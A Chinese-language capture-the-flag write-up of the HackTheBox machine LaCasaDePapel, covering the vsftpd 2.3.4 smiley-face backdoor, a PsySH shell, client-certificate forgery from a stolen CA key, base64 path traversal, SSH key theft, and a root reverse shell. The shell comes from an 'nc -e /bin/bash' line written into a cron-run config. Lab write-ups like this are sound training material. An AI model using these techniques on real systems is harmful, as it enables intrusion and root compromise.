信息收集:
连接VPN,开启机器,获取目标机器IP。
nmap -sC -sV -T4 -Pn -p1-65535 10.10.10.131
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-01 20:58 CST
Stats: 0:02:16 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 84.45% done; ETC: 21:01 (0:00:25 remaining)
Nmap scan report for 10.10.10.131
Host is up (0.62s latency).
Not shown: 9995 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
| 256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_ 256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp open http Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp open ssl/http Node.js Express framework
|_http-title: La Casa De Papel
| tls-nextprotoneg:
| http/1.1
|_ http/1.0
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after: 2029-01-24T08:35:30
6200/tcp filtered lm-x
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 227.24 seconds
发现目标开放了 21ftp 、22ssh、80http、443https,6200端口有些奇怪。
FTP端口:
枚举总是能防止我遗漏掉些许信息。我决定先针对21FTP端口进行测试。幸运的是Nmap为我枚举探测出了服务信息版本作为参考。搜寻已知漏洞,得知Metasploit已经内置了该漏洞EXP:
当然,我觉得应该看一眼漏洞利用脚本。它为我介绍了该漏洞的利用方法 连接目标机器FTP 21端口,输入用户名与口令,会再次连接目标6200端口获取一个shell,它看起来是正向连接的shell。至此它并无向我介绍更多有关该漏洞的原理信息。比如为什么我登录FTP就会在6200端口产生一个shell。
为了更好的明白该漏洞产生原理,我不得不收集相关漏洞资料,令人庆幸的是,搜索引擎的功能还是非常强大的。
Vsftpd-2.3.4,也就是verysecureFTPdaemon的缩写,是一款FTP服务器,在代码中存在一个重大的问题,在文件srt.c中出现一段与程序无关的代码。
{
return 1;
}
else if((p_str->p_buf[i]==0x3a)&&(p_str->p_buf[i+1]==0x29))
{
vsf_sysutil_extra();
}
return 0;
}
这样一段代码是C语言实现的选择结构的代码,如果数组p_buf第 i 个元素是0x3a,第 i+1 个元素是0x29,就会执行"vsf_sysutil_extra()"函数,而vsf_sysutil_extra() 函数便是在6200开放一个Socket套接字,在vsftpd-2.3.4的设计中服务端会接收客户端发过来的用户名和密码,而用户名存放于p_buf的数组中,所以我只要在登录的时候输入0x3a0x29就会去触发Socket连接后门,但是它也仅仅告诉了我会在6200端口开放一个供我连接的Socket套接字,我还是无法得知为何系统会主动把shell放到该Socket套接字中,直到我看到了这句话 。
之所以说笑脸漏洞,是因为0x3a0x29的字符是 :)一个横放的笑脸。至此,我释怀了,因为我很强烈的认为,它并不是程序设计缺陷或是配置失误而产生的漏洞,而是一个人为的后门。
那我无需利用漏洞脚本,主动连接FTP服务并输入0x3a0x29作为我的用户名,密码则为空,然后用nc去正向的连接目标机器6200端口。
令人意外的是,它生成了一种我从未见过的shell" Psy Shell v0.9.9 (PHP 7.2.10 — cli) "
庆幸的是在此URL中,有关于该shell的命令用法。当然输入help也可以。
https://github.com/bobthecow/psysh/wiki/Commands
作者遗留下了一个 tokyo的变量,我们可以通过 " show $tokyo " 来查看该变量。
我从中得知,file_get_contents()可以接收文件中的数据并赋值给$caKey,而我当前碰巧处于像是PHP环境的终端之中,我便有了这样的想法,或许可以利用file_get_contents()读取任何我想要尝试的文件信息。事实确实如此,我轻而易举的获得了目标机器存在的用户名信息:
我现在有** dali、berlin、professor ** 可用于远程ssh登录的用户名以及 $tokyo变量中告诉我们的可能存在但却又不在etc/passwd中的nairoby。
但我还是天真了,当我尝试读取 /etc/shadow 文件时,被提示权限不足。
我再尝试读取用户的默认密钥。可惜,无一例外的失败:
我也尝试了用PHP语言反弹shell,但很明显,它不允许我这么做:
我尝试利用该终端的help中scandir()方法读取目录信息并且它是有效的:
scandir(".")
=> [
".",
"..",
".DS_Store",
"._.DS_Store",
"bin",
"boot",
"dev",
"etc",
"home",
"lib",
"lost+found",
"media",
"mnt",
"opt",
"proc",
"root",
"run",
"sbin",
"srv",
"swap",
"sys",
"tmp",
"usr",
"var",
]
我可以列出/home:
scandir("home/")
=> [
".",
"..",
"berlin",
"dali",
"nairobi",
"oslo",
"professor",
]
我在其中找到了用户标志,但是当我尝试阅读它时,我的权限被拒绝:
scandir("home/berlin")
=> [
".",
"..",
".ash_history",
".ssh",
"downloads",
"node_modules",
"server.js",
"user.txt",
]
readfile("home/berlin/user.txt")
PHP Warning: readfile(home/berlin/user.txt): failed to open stream: Permission denied in phar://eval()'d code on line 1
help菜单也无法再为我提供一些信息。于是我不得不按照目标机器给我的提示信息去读取 /home/nairobi/ca.key ,这是一个 SSL 证书颁发机构密钥。
至此,21FTP端口已无法为我提供更多的信息。此时也才意识到自己不知不觉中在21FTP中陷入了如此多的时间,值得庆幸的是我还是收获了很多信息。
SSH端口:
接下来我便将目光放到了22 SSH端口中,我个人不喜欢爆破,所以我并不想让爆破占用多时间,最后实在没有方法才会去做的事,于是只按照对应版本搜寻了一下该SSH服务协议版本的漏洞,并未获得任何有用的信息。
HTTP端口与HTTPS:
紧接着我便访问了80端口。它仅仅只是一个Google的广告,包含一个email参数输入框。
而在我检查页面属性的时候,我看到的请求数据包中有这样一条信息:
它看起来像是一串密钥与加密算法的类型名称。而当我访问443端口时候,它拒绝了我的访问。
而我错误的认为我网络出现了问题与目标机器断开了连接,但我检测网络并未存在任何问题,80端口还是能够正常访问,我猜测是有另外一种机制阻挠了我与目标443端口的正常链接。右键检查,毫无收获。
我想起通过FTP获取到的证书key,便检测了一下站点的证书,令我感到意外。
而我忽略了一点,HackTheBox的机器都包含有一个共同的特征机器名+htb便是该机器的Web站点域名 。而Nmap已事先为我探测到了机器的域名为lacasadepapel.htb后知后觉的我简直无法原谅我的愚蠢。于是我添加域名到本地/etc/hosts文件后再次尝试访问https端口,它回应了我一些信息,要求我提供一个客户端的SSL证书:
那么我目前有三个选择。1是ssh爆破目标口令,2是在FTP中尝试读到更多的文件获取更多的信息,3为其提供一个客户端证书。我更倾向于第三条,因为我目前有从FTP中获取的证书私钥,也有从80端口数据包中获取到看起来像是密钥key的字符串以及加密算法类型。
GET http://10.10.10.131/qrcode?qrurl=otpauth://hotp/Token?secret=HZPE6L2CMRDCSUSGMNDCGZB2EFKCCMSD&algorithm=SHA1
庆幸的是,Nmap可以帮助我获取目标机器的证书:
nmap --script=ssl-cert 10.10.10.131 -p 443 -v
Nmap scan report for 10.10.10.131
Host is up (0.33s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Issuer: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-01-27T08:35:30
| Not valid after: 2029-01-24T08:35:30
| MD5: 6ea4 933a a347 ce50 8c40 5f9b 1ea8 8e9a
| SHA-1: 8c47 7f3e 53d8 e76b 4cdf ecca adb6 0551 b1b6 38d4
| -----BEGIN CERTIFICATE-----
| MIIC6jCCAdICCQDISiE8M6B29jANBgkqhkiG9w0BAQsFADA3MRowGAYDVQQDDBFs
| YWNhc2FkZXBhcGVsLmh0YjEZMBcGA1UECgwQTGEgQ2FzYSBEZSBQYXBlbDAeFw0x
| OTAxMjcwODM1MzBaFw0yOTAxMjQwODM1MzBaMDcxGjAYBgNVBAMMEWxhY2FzYWRl
| cGFwZWwuaHRiMRkwFwYDVQQKDBBMYSBDYXNhIERlIFBhcGVsMIIBIjANBgkqhkiG
| 9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz3M6VN7OD5sHW+zCbIv/5vJpuaxJF3A5q2rV
| QJNqU1sFsbnaPxRbFgAtc8hVeMNii2nCFO8PGGs9P9pvoy8e8DR9ksBQYyXqOZZ8
| /rsdxwfjYVgv+a3UbJNO4e9Sd3b8GL+4XIzzSi3EZbl7dlsOhl4+KB4cM4hNhE5B
| 4K8UKe4wfKS/ekgyCRTRENVqqd3izZzz232yyzFvDGEOFJVzmhlHVypqsfS9rKUV
| ESPHczaEQld3kupVrt/mBqwuKe99sluQzORqO1xMqbNgb55ZD66vQBSkN2PwBeiR
| PBRNXfnWla3Gkabukpu9xR9o+l7ut13PXdQ/fPflLDwnu5wMZwIDAQABMA0GCSqG
| SIb3DQEBCwUAA4IBAQCuo8yzORz4pby9tF1CK/4cZKDYcGT/wpa1v6lmD5CPuS+C
| hXXBjK0gPRAPhpF95DO7ilyJbfIc2xIRh1cgX6L0ui/SyxaKHgmEE8ewQea/eKu6
| vmgh3JkChYqvVwk7HRWaSaFzOiWMKUU8mB/7L95+mNU7DVVUYB9vaPSqxqfX6ywx
| BoJEm7yf7QlJTH3FSzfew1pgMyPxx0cAb5ctjQTLbUj1rcE9PgcSki/j9WyJltkI
| EqSngyuJEu3qYGoM0O5gtX13jszgJP+dA3vZ1wqFjKlWs2l89pb/hwRR2raqDwli
| MgnURkjwvR1kalXCvx9cST6nCkxF2TxlmRpyNXy4
|_-----END CERTIFICATE-----
NSE: Script Post-scanning.
Initiating NSE at 23:04
Completed NSE at 23:04, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.55 seconds
Raw packets sent: 5 (196B) | Rcvd: 5 (196B)
现在我可以尝试用获取到的密钥生成证书并导入浏览器中再尝试访问目标443端口,client.key便是我FTP中收集到的私钥,而client.cer便是Nmap帮我扫描到的服务端证书公钥:
openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12
将其导入到浏览器中:
再重新对目标443端口发起访问:
幸运的是,它返回的页面不一样了,我可以正常的访问它:
我尝试点session-1服务器会给我一个列表供我去下载文件,我尝试点session-2也会给我一个列表供我下载文件。
如您所见,url有一个名为 的 get 参数path,这意味着后端脚本从给定的路径读取并列出它们。如果该参数没有被正确过滤,它可能会导致路径遍历漏洞,允许我列出其他目录中的文件。但是列出文件对我没有任何帮助,我已经可以使用Psy Shell中的scandir(). 但是,如果我们尝试下载一集01.avi例如:
我得到了以下请求链接:
https://lacasadepapel.htb/file/U0VBU09OLTEvMDEuYXZp
通过base64解码,我得到了以下信息:
查看一下当前位置信息:
我尝试去读取user.txt,它看起来成功了,也确实成功了:
echo -n "../user.txt"| base64
Li4vdXNlci50eHQ=
https://lacasadepapel.htb/file/Li4vdXNlci50eHQ=
我再尝试去读取root.txt,虽然这有些异想天开,但是它看起来也成功了:
echo -n "../../../root/root.txt" | base64
Li4vLi4vLi4vcm9vdC9yb290LnR4dA==
https://lacasadepapel.htb/file/Li4vLi4vLi4vcm9vdC9yb290LnR4dA==
不幸的是,我被骗了,它并没有给我正常的root.txt,而是一些权限不足的报错信息:
庆幸的是,该下载功能所属用户的权限比PHP shell中的权限级别高,我可以下载曾经在PHP shell中尝试却没成功读取的文件。
它成功了,我也成功的获取到ssh登录密钥:
因为之前我通过PHP shell scandir()遍历目录发现user.txt位于home/berlin**,我认为获取到的密钥是用于berlin登陆服务器的。出乎意料的是,密钥认证并未通过,它还是要求我输入账号密码:
于是我尝试通过PHP shell 遍历获取到的其他用户名,万幸的是professor成功了:
尝试sudo,它向我要求了密码:
遍历了SUID:
find / -perm -u=s -type f 2>/dev/null
我测试了一下目标wget 可用,本地启动http服务用以为目标传入Metasploit载荷,当然,我可以先传linpeas.sh用以枚举可能的提权利用信息。
脚本启动:
它帮我检测到了一些有趣的文件:
以及可能的CVE:
我的想法很清晰,可以收集对应CVE漏洞EXP进行提权,我也可以上传Metasploit载荷获取Meterpreter自动检测提权,但我并不想这么做,机器是以前出现的,脚本是不断更新的,漏洞也是不断披露的,枚举到新的CVE也是意料之中,而且作者也一定不希望我这么做,我还未对目标进行实质性的探索。我将目光放至我忽略掉的当前目录的两个文件memcached.ini和memcached.js。其中memcached.ini是root授予nobody以root权限执行memcached.js。
我对memcached.ini有读取权限,但无写入权限,对memcached.js无读取也无写入权限,但是我对当前目录有完全控制权限,我是目录的所有者,目录下的文件我可以删除、移动、重命名、新建文件等,它只是限制了我的读取与写入权限,我可以将其替换掉,但是我找不到替换文件的意义。我为目标又传入了pspy:
pspy 是一个命令行工具,旨在侦听进程而无需 root 权限。它允许您在执行时查看其他用户、cron 作业等运行的命令。非常适合在 CTF 中枚举 Linux 系统。
通过pspy实时监控进程信息,我发现memcached.js是被定期执行的:
而它的路径信息,与memcached.ini几乎一样,我便猜想memcached.ini是计划任务中的一个,它被定期诱导系统执行memcached.js。
那么我可以写nc反弹shell的命令将memcached.ini覆盖并诱使系统以root权限向我建立一个反向shell,幸运的是目标机器环境中有nc。
我复制并构造了命令payload:
command = /usr/bin/nc -e /bin/bash 10.10.16.6 9001
我将其覆盖了:
我如愿的收到了root级的反向shell:
至此,我个人觉得该机器难度不算太高,但需极其的耐心与细心,所以我也为其评定的难度级别为"中等+",因为这是一场精神与意志的考验,它能够助你发现自身行为习惯的缺陷,巩固基础,值得一做。